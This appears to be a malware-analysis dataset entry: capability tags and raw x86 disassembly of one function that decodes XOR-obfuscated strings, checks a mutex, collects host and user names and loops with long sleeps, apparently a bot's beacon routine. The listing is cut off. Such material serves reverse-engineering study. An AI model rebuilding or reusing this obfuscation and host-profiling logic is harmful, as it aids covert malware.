Function at 0x401170
Capabilities:
Authenticate hmac
Check mutex and terminate process on windows
Check mutex on windows
Encode data using xor
Get common file path
Get hostname
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c4
push ebx
push esi
push edi
lea ecx, [esp + 0x340]
call fcn.0040a4f0
call fcn.00405380
movaps xmm0, xmmword [0x43bb00]
xor ecx, ecx
movups xmmword [esp + 0xc0], xmm0
mov dword [esp + 0xe0], 0x6a693c3b
movaps xmm0, xmmword [0x43bae0]
movups xmmword [esp + 0xd0], xmm0
mov word [esp + 0xe4], 0x6f
nop word [eax + eax]
mov al, byte [esp + 0xc0]
xor byte [esp + ecx + 0xc1], al
inc ecx
cmp ecx, 0x24
jb 0x4011d0
lea eax, [esp + 0xc1]
mov byte [esp + 0xe5], 0
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x402494
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
je 0x402494
call fcn.0040f610
push eax
lea ecx, [esp + 0x38c]
call fcn.00406eb0
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x21
push eax
lea eax, [esp + 0x320]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
cmp byte [esp + 0x31c], 0
mov dword [esp + 0x300], 0xf
mov dword [esp + 0x2fc], 0
mov byte [esp + 0x2ec], 0
jne 0x401272
xor ecx, ecx
jmp 0x401289
lea ecx, [esp + 0x31c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401280
sub ecx, edx
push ecx
lea eax, [esp + 0x320]
push eax
lea ecx, [esp + 0x2f4]
call fcn.004073c0
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x41
push eax
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp byte [esp + 0xc0], 0
mov dword [esp + 0x318], 0xf
mov dword [esp + 0x314], 0
mov byte [esp + 0x304], 0
jne 0x4012e5
xor ecx, ecx
jmp 0x4012f9
lea ecx, [esp + 0xc0]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4012f0
sub ecx, edx
push ecx
lea eax, [esp + 0xc4]
push eax
lea ecx, [esp + 0x30c]
call fcn.004073c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
call esi
cmp eax, 0x78
je 0x40133d
mov cl, 0x35
mov byte [esp + 0x1a], 0
mov al, 4
mov byte [esp + 0x18], cl
xor al, cl
mov byte [esp + 0x1a], 0
mov byte [esp + 0x19], al
lea eax, [esp + 0x19]
jmp 0x401359
mov cl, 0x53
mov byte [esp + 0x12], 0
mov al, 0x63
mov byte [esp + 0x10], cl
xor al, cl
mov byte [esp + 0x12], 0
mov byte [esp + 0x11], al
lea eax, [esp + 0x11]
push eax
lea ecx, [esp + 0x3bc]
call fcn.00406eb0
call fcn.00410410
test al, al
je 0x40138d
mov cl, 0x18
mov byte [esp + 0x12], 0
mov al, 0x29
mov byte [esp + 0x10], cl
xor al, cl
mov byte [esp + 0x12], 0
mov byte [esp + 0x11], al
lea eax, [esp + 0x11]
jmp 0x4013a9
mov cl, 0x71
mov byte [esp + 0x1a], 0
mov al, 0x41
mov byte [esp + 0x18], cl
xor al, cl
mov byte [esp + 0x1a], 0
mov byte [esp + 0x19], al
lea eax, [esp + 0x19]
push eax
lea ecx, [esp + 0x374]
call fcn.00406eb0
lea ecx, [esp + 0x358]
call fcn.0040f8a0
lea ecx, [esp + 0x3a0]
call fcn.00410490
movaps xmm0, xmmword [0x43baf0]
xor ecx, ecx
movups xmmword [esp + 0xc0], xmm0
mov word [esp + 0xe0], 0x69
movaps xmm0, xmmword [0x43ba20]
movups xmmword [esp + 0xd0], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0xc0]
xor byte [esp + ecx + 0xc1], al
inc ecx
cmp ecx, 0x20
jb 0x401400
lea eax, [esp + 0xc1]
mov byte [esp + 0xe1], 0
push eax
lea ecx, [esp + 0x8c]
call fcn.00406eb0
mov byte [esp + 0x32], 0x2a
mov al, 0x46
xor al, byte [esp + 0x32]
mov dl, 0x10
mov byte [esp + 0x33], al
mov dh, dl
mov al, byte [esp + 0x32]
mov bl, 0x1a
xor dl, al
mov byte [esp + 0x3b], 0
xor bl, al
mov byte [esp + 0x35], dl
xor dh, al
mov byte [esp + 0x36], bl
mov bl, 0x2e
mov byte [esp + 0x31], 0
mov cl, 0x5c
mov byte [esp + 0x2d], bl
xor cl, al
mov byte [esp + 0x2c], 0
mov byte [esp + 0x34], cl
mov ah, 0x45
xor ah, al
mov byte [esp + 0x65], 0
mov ch, 0x4d
mov byte [esp + 0x37], ah
xor ch, al
mov byte [esp + 0x39], dh
mov bh, 0x1b
mov byte [esp + 0x38], ch
xor bh, al
mov byte [esp + 0x3b], 0
mov al, 0x4f
mov byte [esp + 0x3a], bh
xor al, bl
mov byte [esp + 0x31], 0
mov byte [esp + 0x2e], al
mov cl, 0x58
xor cl, bl
mov byte [esp + 0x2c], 0
mov byte [esp + 0x2f], cl
mov dl, 0x14
xor dl, bl
mov byte [esp + 0x65], 0
mov bl, 0x57
mov byte [esp + 0x30], dl
mov al, 0x33
mov byte [esp + 0x28], bl
xor al, bl
mov byte [esp + 0x6a], 0
mov byte [esp + 0x29], al
mov cl, 0x3a
xor cl, bl
mov dl, 0x6d
xor dl, bl
mov byte [esp + 0x2a], cl
mov bl, 0x26
mov byte [esp + 0x2b], dl
mov al, 0x53
mov byte [esp + 0x61], bl
xor al, bl
mov cl, 0x48
xor cl, bl
mov byte [esp + 0x62], al
mov dl, 0x1c
mov byte [esp + 0x63], cl
xor dl, bl
mov al, 0x46
mov bl, 0x36
mov byte [esp + 0x64], dl
xor al, bl
mov byte [esp + 0x66], bl
mov cl, 0x55
mov byte [esp + 0x67], al
mov dl, 0xc
xor cl, bl
xor dl, bl
mov byte [esp + 0x68], cl
mov byte [esp + 0x69], dl
mov bl, 0x13
mov byte [esp + 0x18], bl
mov al, 0x72
xor al, bl
mov byte [esp + 0x1c], 0
mov byte [esp + 0x19], al
mov cl, 0x61
xor cl, bl
mov byte [esp + 0x14], 0
mov byte [esp + 0x1a], cl
mov dl, 0x29
xor dl, bl
mov byte [esp + 0x24], 0
mov byte [esp + 0x1b], dl
mov bl, 0x33
mov al, 0x51
mov byte [esp + 0x10], bl
xor al, bl
mov byte [esp + 0x43], 0
mov byte [esp + 0x11], al
mov cl, 0x5a
xor cl, bl
mov byte [esp + 0x5c], 0
mov byte [esp + 0x12], cl
mov dl, 9
xor dl, bl
mov byte [esp + 0x6a], 0
mov byte [esp + 0x13], dl
mov bl, 0x5c
mov dh, 0x76
mov byte [esp + 0x20], bl
mov al, 0x33
mov byte [esp + 0x1c], 0
xor al, bl
mov byte [esp + 0x14], 0
mov cl, 0x2f
mov byte [esp + 0x21], al
xor cl, bl
mov byte [esp + 0x24], 0
mov dl, 0x66
mov byte [esp + 0x22], cl
xor dl, bl
mov byte [esp + 0x3c], dh
mov byte [esp + 0x23], dl
mov al, 0x22
xor al, dh
mov byte [esp + 0x43], 0
mov cl, 0x24
mov byte [esp + 0x3d], al
xor cl, dh
mov byte [esp + 0x5c], 0
mov bl, 0x30
mov byte [esp + 0x3e], cl
xor bl, dh
mov dl, 0x37
xor dl, dh
mov byte [esp + 0x40], bl
mov bl, 0x75
mov byte [esp + 0x3f], dl
mov ah, 0x46
mov byte [esp + 0x58], bl
xor ah, dh
mov ch, 0x47
mov al, 6
mov byte [esp + 0x41], ah
mov cl, 0x11
xor al, bl
xor ch, dh
mov byte [esp + 0x59], al
mov dl, 0x4f
mov byte [esp + 0x42], ch
xor cl, bl
mov ah, 0x14
xor dl, bl
mov byte [esp + 0x5a], cl
mov byte [esp + 0x5b], dl
mov al, 0x25
mov byte [esp + 0x4c], ah
xor al, ah
mov byte [esp + 0x51], 0
mov byte [esp + 0x4d], al
mov bl, 0x26
xor bl, ah
mov byte [esp + 0x6f], 0
mov cl, 0x3a
mov byte [esp + 0x50], bl
xor cl, ah
mov byte [esp + 0x51], 0
mov dl, 0x24
mov byte [esp + 0x4e], cl
xor dl, ah
mov byte [esp + 0x48], 0
mov byte [esp + 0x4f], dl
mov bl, 0x73
xor cl, cl
mov byte [esp + 0x44], bl
mov al, 5
mov byte [esp + 0x6f], 0
xor al, bl
xor cl, bl
mov dl, 0x49
mov byte [esp + 0x45], al
xor dl, bl
mov byte [esp + 0x46], cl
mov bl, 0x71
mov byte [esp + 0x47], dl
mov al, 0x18
mov byte [esp + 0x6b], bl
xor al, bl
mov cl, 0x15
mov dl, 0x4b
mov byte [esp + 0x6c], al
xor cl, bl
lea eax, [esp + 0x340]
xor dl, bl
mov byte [esp + 0x6d], cl
mov byte [esp + 0x6e], dl
lea ecx, [esp + 0x2d4]
push eax
lea edx, [esp + 0x70]
call fcn.004083d0
add esp, 4
mov esi, eax
cmp byte [esp + 0x45], 0
jne 0x4016a8
xor ecx, ecx
jmp 0x4016b9
lea ecx, [esp + 0x45]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4016b0
sub ecx, edx
push ecx
lea eax, [esp + 0x49]
mov ecx, esi
push eax
call fcn.004075f0
push eax
lea ecx, [esp + 0x278]
call fcn.00406e30
cmp byte [esp + 0x4d], 0
jne 0x4016de
xor ecx, ecx
jmp 0x4016ee
lea ecx, [esp + 0x4d]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4016e5
sub ecx, edx
push ecx
lea eax, [esp + 0x51]
push eax
lea ecx, [esp + 0x27c]
call fcn.004075f0
push eax
lea ecx, [esp + 0x260]
call fcn.00406e30
cmp byte [esp + 0x59], 0
jne 0x401718
xor ecx, ecx
jmp 0x401729
lea ecx, [esp + 0x59]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401720
sub ecx, edx
push ecx
lea eax, [esp + 0x5d]
push eax
lea ecx, [esp + 0x264]
call fcn.004075f0
push eax
lea ecx, [esp + 0x248]
call fcn.00406e30
cmp byte [esp + 0x3d], 0
jne 0x401753
xor ecx, ecx
jmp 0x401769
lea ecx, [esp + 0x3d]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401760
sub ecx, edx
push ecx
lea eax, [esp + 0x41]
push eax
lea ecx, [esp + 0x24c]
call fcn.004075f0
push eax
lea ecx, [esp + 0x230]
call fcn.00406e30
cmp byte [esp + 0x21], 0
jne 0x401793
xor ecx, ecx
jmp 0x4017a9
lea ecx, [esp + 0x21]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4017a0
sub ecx, edx
push ecx
lea eax, [esp + 0x25]
push eax
lea ecx, [esp + 0x234]
call fcn.004075f0
push eax
lea ecx, [esp + 0x218]
call fcn.00406e30
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x360]
push eax
lea ecx, [esp + 0x220]
call fcn.00407720
push eax
lea ecx, [esp + 0x200]
call fcn.00406e30
cmp byte [esp + 0x11], 0
jne 0x4017f8
xor ecx, ecx
jmp 0x401809
lea ecx, [esp + 0x11]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401800
sub ecx, edx
push ecx
lea eax, [esp + 0x15]
push eax
lea ecx, [esp + 0x204]
call fcn.004075f0
push eax
lea ecx, [esp + 0x1e8]
call fcn.00406e30
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x3c0]
push eax
lea ecx, [esp + 0x1f0]
call fcn.00407720
push eax
lea ecx, [esp + 0x1d0]
call fcn.00406e30
cmp byte [esp + 0x19], 0
jne 0x401858
xor ecx, ecx
jmp 0x401869
lea ecx, [esp + 0x19]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401860
sub ecx, edx
push ecx
lea eax, [esp + 0x1d]
push eax
lea ecx, [esp + 0x1d4]
call fcn.004075f0
push eax
lea ecx, [esp + 0x1b8]
call fcn.00406e30
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x378]
push eax
lea ecx, [esp + 0x1c0]
call fcn.00407720
push eax
lea ecx, [esp + 0x1a0]
call fcn.00406e30
cmp byte [esp + 0x67], 0
jne 0x4018b8
xor ecx, ecx
jmp 0x4018c9
lea ecx, [esp + 0x67]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4018c0
sub ecx, edx
push ecx
lea eax, [esp + 0x6b]
push eax
lea ecx, [esp + 0x1a4]
call fcn.004075f0
push eax
lea ecx, [esp + 0x188]
call fcn.00406e30
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x30c]
push eax
lea ecx, [esp + 0x190]
call fcn.00407720
push eax
lea ecx, [esp + 0x170]
call fcn.00406e30
cmp byte [esp + 0x62], 0
jne 0x401918
xor ecx, ecx
jmp 0x401929
lea ecx, [esp + 0x62]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401920
sub ecx, edx
push ecx
lea eax, [esp + 0x66]
push eax
lea ecx, [esp + 0x174]
call fcn.004075f0
push eax
lea ecx, [esp + 0x158]
call fcn.00406e30
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x2f4]
push eax
lea ecx, [esp + 0x160]
call fcn.00407720
push eax
lea ecx, [esp + 0x140]
call fcn.00406e30
cmp byte [esp + 0x29], 0
jne 0x401978
xor ecx, ecx
jmp 0x401989
lea ecx, [esp + 0x29]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401980
sub ecx, edx
push ecx
lea eax, [esp + 0x2d]
push eax
lea ecx, [esp + 0x144]
call fcn.004075f0
push eax
lea ecx, [esp + 0x128]
call fcn.00406e30
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x390]
push eax
lea ecx, [esp + 0x130]
call fcn.00407720
push eax
lea ecx, [esp + 0x110]
call fcn.00406e30
cmp byte [esp + 0x2e], 0
jne 0x4019d8
xor ecx, ecx
jmp 0x4019e9
lea ecx, [esp + 0x2e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4019e0
sub ecx, edx
push ecx
lea eax, [esp + 0x32]
push eax
lea ecx, [esp + 0x114]
call fcn.004075f0
push eax
lea ecx, [esp + 0x2a8]
call fcn.00406e30
push 0xffffffffffffffff
push 0
lea eax, [esp + 0x3a8]
push eax
lea ecx, [esp + 0x2b0]
call fcn.00407720
push eax
lea ecx, [esp + 0x290]
call fcn.00406e30
cmp byte [esp + 0x33], 0
jne 0x401a38
xor ecx, ecx
jmp 0x401a49
lea ecx, [esp + 0x33]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401a40
sub ecx, edx
push ecx
lea eax, [esp + 0x37]
push eax
lea ecx, [esp + 0x294]
call fcn.004075f0
push eax
lea ecx, [esp + 0x74]
call fcn.00406e30
lea eax, [esp + 0x70]
push eax
lea edx, [esp + 0x8c]
lea ecx, [esp + 0x2c0]
call fcn.00409440
add esp, 4
lea ecx, [esp + 0x31c]
mov edx, eax
call fcn.00409300
mov eax, dword [esp + 0x2d0]
cmp eax, 0x10
jb 0x401aaf
inc eax
lea ecx, [esp + 0x2bc]
push eax
push dword [esp + 0x2c0]
call fcn.004079e0
mov eax, dword [esp + 0x84]
mov dword [esp + 0x2d0], 0xf
mov dword [esp + 0x2cc], 0
mov byte [esp + 0x2bc], 0
cmp eax, 0x10
jb 0x401ae8
inc eax
lea ecx, [esp + 0x70]
push eax
push dword [esp + 0x74]
call fcn.004079e0
mov eax, dword [esp + 0x2a0]
mov dword [esp + 0x84], 0xf
mov dword [esp + 0x80], 0
mov byte [esp + 0x70], 0
cmp eax, 0x10
jb 0x401b24
inc eax
lea ecx, [esp + 0x28c]
push eax
push dword [esp + 0x290]
call fcn.004079e0
mov eax, dword [esp + 0x2b8]
mov dword [esp + 0x2a0], 0xf
mov dword [esp + 0x29c], 0
mov byte [esp + 0x28c], 0
cmp eax, 0x10
jb 0x401b63
inc eax
lea ecx, [esp + 0x2a4]
push eax
push dword [esp + 0x2a8]
call fcn.004079e0
mov eax, dword [esp + 0x120]
mov dword [esp + 0x2b8], 0xf
mov dword [esp + 0x2b4], 0
mov byte [esp + 0x2a4], 0
cmp eax, 0x10
jb 0x401ba2
inc eax
lea ecx, [esp + 0x10c]
push eax
push dword [esp + 0x110]
call fcn.004079e0
mov eax, dword [esp + 0x138]
mov dword [esp + 0x120], 0xf
mov dword [esp + 0x11c], 0
mov byte [esp + 0x10c], 0
cmp eax, 0x10
jb 0x401be1
inc eax
lea ecx, [esp + 0x124]
push eax
push dword [esp + 0x128]
call fcn.004079e0
mov eax, dword [esp + 0x150]
mov dword [esp + 0x138], 0xf
mov dword [esp + 0x134], 0
mov byte [esp + 0x124], 0
cmp eax, 0x10
jb 0x401c20
inc eax
lea ecx, [esp + 0x13c]
push eax
push dword [esp + 0x140]
call fcn.004079e0
mov eax, dword [esp + 0x168]
mov dword [esp + 0x150], 0xf
mov dword [esp + 0x14c], 0
mov byte [esp + 0x13c], 0
cmp eax, 0x10
jb 0x401c5f
inc eax
lea ecx, [esp + 0x154]
push eax
push dword [esp + 0x158]
call fcn.004079e0
mov eax, dword [esp + 0x180]
mov dword [esp + 0x168], 0xf
mov dword [esp + 0x164], 0
mov byte [esp + 0x154], 0
cmp eax, 0x10
jb 0x401c9e
inc eax
lea ecx, [esp + 0x16c]
push eax
push dword [esp + 0x170]
call fcn.004079e0
mov eax, dword [esp + 0x198]
mov dword [esp + 0x180], 0xf
mov dword [esp + 0x17c], 0
mov byte [esp + 0x16c], 0
cmp eax, 0x10
jb 0x401cdd
inc eax
lea ecx, [esp + 0x184]
push eax
push dword [esp + 0x188]
call fcn.004079e0
mov eax, dword [esp + 0x1b0]
mov dword [esp + 0x198], 0xf
mov dword [esp + 0x194], 0
mov byte [esp + 0x184], 0
cmp eax, 0x10
jb 0x401d1c
inc eax
lea ecx, [esp + 0x19c]
push eax
push dword [esp + 0x1a0]
call fcn.004079e0
mov eax, dword [esp + 0x1c8]
mov dword [esp + 0x1b0], 0xf
mov dword [esp + 0x1ac], 0
mov byte [esp + 0x19c], 0
cmp eax, 0x10
jb 0x401d5b
inc eax
lea ecx, [esp + 0x1b4]
push eax
push dword [esp + 0x1b8]
call fcn.004079e0
mov eax, dword [esp + 0x1e0]
mov dword [esp + 0x1c8], 0xf
mov dword [esp + 0x1c4], 0
mov byte [esp + 0x1b4], 0
cmp eax, 0x10
jb 0x401d9a
inc eax
lea ecx, [esp + 0x1cc]
push eax
push dword [esp + 0x1d0]
call fcn.004079e0
mov eax, dword [esp + 0x1f8]
mov dword [esp + 0x1e0], 0xf
mov dword [esp + 0x1dc], 0
mov byte [esp + 0x1cc], 0
cmp eax, 0x10
jb 0x401dd9
inc eax
lea ecx, [esp + 0x1e4]
push eax
push dword [esp + 0x1e8]
call fcn.004079e0
mov eax, dword [esp + 0x210]
mov dword [esp + 0x1f8], 0xf
mov dword [esp + 0x1f4], 0
mov byte [esp + 0x1e4], 0
cmp eax, 0x10
jb 0x401e18
inc eax
lea ecx, [esp + 0x1fc]
push eax
push dword [esp + 0x200]
call fcn.004079e0
mov eax, dword [esp + 0x228]
mov dword [esp + 0x210], 0xf
mov dword [esp + 0x20c], 0
mov byte [esp + 0x1fc], 0
cmp eax, 0x10
jb 0x401e57
inc eax
lea ecx, [esp + 0x214]
push eax
push dword [esp + 0x218]
call fcn.004079e0
mov eax, dword [esp + 0x240]
mov dword [esp + 0x228], 0xf
mov dword [esp + 0x224], 0
mov byte [esp + 0x214], 0
cmp eax, 0x10
jb 0x401e96
inc eax
lea ecx, [esp + 0x22c]
push eax
push dword [esp + 0x230]
call fcn.004079e0
mov eax, dword [esp + 0x258]
mov dword [esp + 0x240], 0xf
mov dword [esp + 0x23c], 0
mov byte [esp + 0x22c], 0
cmp eax, 0x10
jb 0x401ed5
inc eax
lea ecx, [esp + 0x244]
push eax
push dword [esp + 0x248]
call fcn.004079e0
mov eax, dword [esp + 0x270]
mov dword [esp + 0x258], 0xf
mov dword [esp + 0x254], 0
mov byte [esp + 0x244], 0
cmp eax, 0x10
jb 0x401f14
inc eax
lea ecx, [esp + 0x25c]
push eax
push dword [esp + 0x260]
call fcn.004079e0
mov eax, dword [esp + 0x288]
mov dword [esp + 0x270], 0xf
mov dword [esp + 0x26c], 0
mov byte [esp + 0x25c], 0
cmp eax, 0x10
jb 0x401f53
inc eax
lea ecx, [esp + 0x274]
push eax
push dword [esp + 0x278]
call fcn.004079e0
mov eax, dword [esp + 0x2e8]
mov dword [esp + 0x288], 0xf
mov dword [esp + 0x284], 0
mov byte [esp + 0x274], 0
cmp eax, 0x10
jb 0x401f92
inc eax
lea ecx, [esp + 0x2d4]
push eax
push dword [esp + 0x2d8]
call fcn.004079e0
mov eax, dword [esp + 0x9c]
mov dword [esp + 0x2e8], 0xf
mov dword [esp + 0x2e4], 0
mov byte [esp + 0x2d4], 0
cmp eax, 0x10
jb 0x401fd1
inc eax
lea ecx, [esp + 0x88]
push eax
push dword [esp + 0x8c]
call fcn.004079e0
movaps xmm0, xmmword [0x43ba60]
xor esi, esi
xor ebx, ebx
mov dword [esp + 0x4c], esi
xor edi, edi
mov dword [esp + 0x54], esi
mov dword [esp + 0x50], edi
xor ecx, ecx
mov dword [esp + 0x10], ebx
movups xmmword [esp + 0x88], xmm0
mov dword [esp + 0x98], 0x42554349
mov dword [esp + 0x9c], 0x1e425546
mov dword [esp + 0xa0], 0x405f5843
mov byte [esp + 0xa4], bl
mov al, byte [esp + 0x88]
xor byte [esp + ecx + 0x89], al
inc ecx
cmp ecx, 0x1b
jb 0x402020
lea eax, [esp + 0x89]
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x54]
mov dword [esp + 0x58], eax
lea eax, [esp + 0x58]
mov dword [esp + 0x18], eax
nop
mov edx, dword [eax]
mov dword [esp + 0xbc], 0xf
mov dword [esp + 0xb8], 0
mov byte [esp + 0xa8], 0
cmp byte [edx], 0
jne 0x402079
xor ecx, ecx
jmp 0x40208d
mov ecx, edx
lea eax, [ecx + 1]
mov dword [esp + 0x44], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402082
sub ecx, dword [esp + 0x44]
push ecx
push edx
lea ecx, [esp + 0xb0]
call fcn.004073c0
lea eax, [esp + 0xa8]
cmp eax, edi
jae 0x4020ed
cmp esi, eax
ja 0x4020ed
mov ecx, eax
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x44], eax
cmp edi, ebx
jne 0x4020e1
push ecx
lea ecx, [esp + 0x50]
call fcn.00406fe0
mov edi, dword [esp + 0x50]
mov esi, dword [esp + 0x4c]
mov eax, dword [esp + 0x44]
mov ebx, dword [esp + 0x54]
test edi, edi
je 0x40211a
lea eax, [eax + eax*2]
lea eax, [esi + eax*8]
jmp 0x402112
cmp edi, ebx
jne 0x402107
push ecx
lea ecx, [esp + 0x50]
call fcn.00406fe0
mov edi, dword [esp + 0x50]
mov esi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x54]
test edi, edi
je 0x40211a
lea eax, [esp + 0xa8]
push eax
mov ecx, edi
call fcn.00406e30
mov eax, dword [esp + 0xbc]
add edi, 0x18
mov dword [esp + 0x50], edi
cmp eax, 0x10
jb 0x402142
inc eax
lea ecx, [esp + 0xa8]
push eax
push dword [esp + 0xac]
call fcn.004079e0
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
inc ecx
add eax, 4
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], eax
cmp ecx, 1
jne 0x402050
mov ebx, dword [esp + 0x10]
lea eax, [ebx + ebx*2]
cmp dword [esi + eax*8 + 0x14], 0x10
lea esi, [esi + eax*8]
jb 0x402178
mov eax, dword [esi]
mov dword [esp + 0x20], eax
jmp 0x40217c
mov dword [esp + 0x20], esi
mov byte [esp + 0x32], 0x7c
mov al, 0xc
xor al, byte [esp + 0x32]
mov cl, 0x1d
mov byte [esp + 0x33], al
mov ah, 0x13
mov al, byte [esp + 0x32]
mov ch, cl
xor ah, al
mov byte [esp + 0x3b], 0
mov dl, 5
mov byte [esp + 0x37], ah
mov dh, 0x18
mov byte [esp + 0x3b], 0
xor cl, al
xor dl, al
xor ch, al
mov byte [esp + 0x34], cl
xor dh, al
mov byte [esp + 0x35], dl
mov bl, 0x10
mov byte [esp + 0x38], ch
mov bh, 0x41
mov byte [esp + 0x39], dh
xor bl, al
lea edx, [esp + 0x33]
xor bh, al
mov byte [esp + 0x36], bl
lea eax, [esp + 0x31c]
mov byte [esp + 0x3a], bh
push eax
lea ecx, [esp + 0x8c]
call fcn.004083d0
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x4021f4
mov eax, dword [eax]
push dword [esp + 0x20]
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.0040d3b0
mov eax, dword [esp + 0xa0]
add esp, 4
cmp eax, 0x10
jb 0x402227
inc eax
lea ecx, [esp + 0x88]
push eax
push dword [esp + 0x8c]
call fcn.004079e0
cmp dword [esp + 0x80], 0
ja 0x402286
mov ecx, edi
mov eax, 0x2aaaaaab
sub ecx, dword [esp + 0x4c]
imul ecx
mov eax, dword [esp + 0x10]
sar edx, 2
mov esi, edx
shr esi, 0x1f
add esi, edx
lea ecx, [eax + 1]
cmp esi, 1
cmovbe ecx, eax
lea eax, [ecx - 1]
cmp esi, eax
mov eax, dword [esp + 0x84]
sbb ebx, ebx
and ebx, ecx
mov dword [esp + 0x10], ebx
cmp eax, 0x10
jb 0x40227d
inc eax
lea ecx, [esp + 0x70]
push eax
push dword [esp + 0x74]
call fcn.004079e0
mov esi, dword [esp + 0x4c]
jmp 0x402163
mov bl, 0x25
mov byte [esp + 0x31], 0
mov dl, 0x19
mov byte [esp + 0x2d], bl
mov al, 0x46
mov byte [esp + 0x31], 0
mov cl, 0x1b
xor dl, bl
xor al, bl
mov byte [esp + 0x2e], dl
xor cl, bl
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], cl
test dl, dl
jne 0x4022b6
xor ecx, ecx
jmp 0x4022c9
lea ecx, [esp + 0x2e]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4022c0
sub ecx, edx
push ecx
push 0
lea eax, [esp + 0x36]
push eax
lea ecx, [esp + 0x7c]
call fcn.004072c0
cmp eax, 0xffffffff
jne 0x402398
mov bl, 7
mov byte [esp + 0x2c], 0
mov dl, 0x3b
mov byte [esp + 0x28], bl
mov al, 0x63
mov byte [esp + 0x2c], 0
mov cl, 0x39
xor dl, bl
xor al, bl
mov byte [esp + 0x29], dl
xor cl, bl
mov byte [esp + 0x2a], al
mov byte [esp + 0x2b], cl
test dl, dl
jne 0x402313
xor ecx, ecx
jmp 0x402329
lea ecx, [esp + 0x29]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402320
sub ecx, edx
push ecx
push 0
lea eax, [esp + 0x31]
push eax
lea ecx, [esp + 0x7c]
call fcn.004072c0
cmp eax, 0xffffffff
jne 0x402398
mov ecx, edi
mov eax, 0x2aaaaaab
sub ecx, dword [esp + 0x4c]
imul ecx
mov eax, dword [esp + 0x10]
sar edx, 2
mov esi, edx
shr esi, 0x1f
add esi, edx
lea ecx, [eax + 1]
cmp esi, 1
cmovbe ecx, eax
lea eax, [ecx - 1]
cmp esi, eax
mov eax, dword [esp + 0x84]
sbb ebx, ebx
and ebx, ecx
mov dword [esp + 0x10], ebx
cmp eax, 0x10
jb 0x40227d
inc eax
lea ecx, [esp + 0x70]
push eax
push dword [esp + 0x74]
call fcn.004079e0
mov esi, dword [esp + 0x4c]
jmp 0x402163
mov dh, 0x37
mov byte [esp + 0x43], 0
mov ch, 0xb
mov byte [esp + 0x3c], dh
mov cl, 9
mov byte [esp + 0x43], 0
mov dl, ch
mov ah, cl
mov al, 0x54
mov bl, 0x53
xor ch, dh
xor al, dh
xor cl, dh
mov byte [esp + 0x3d], ch
xor dl, dh
mov byte [esp + 0x3e], al
xor bl, dh
mov byte [esp + 0x3f], cl
xor ah, dh
mov byte [esp + 0x40], dl
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], ah
test ch, ch
jne 0x4023e0
xor eax, eax
jmp 0x4023f0
lea eax, [esp + 0x3d]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4023e7
sub eax, edx
push eax
push 0
lea eax, [esp + 0x45]
push eax
lea ecx, [esp + 0x7c]
call fcn.004072c0
cmp eax, 0xffffffff
jne 0x40243e
sub esp, 0x18
mov ecx, esp
push eax
push 0
lea eax, [esp + 0x90]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.004074c0
cmp dword [esi + 0x14], 0x10
jb 0x402434
mov esi, dword [esi]
mov ecx, esi
call fcn.004024a0
add esp, 0x18
cmp dword [esp + 0x84], 0x10
lea eax, [esp + 0x70]
mov dword [esp + 0x80], 0
cmovae eax, dword [esp + 0x70]
push 0x1d4c0
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x84]
mov ebx, dword [esp + 0x10]
mov esi, dword [esp + 0x4c]
cmp eax, 0x10
jb 0x402163
inc eax
lea ecx, [esp + 0x70]
push eax
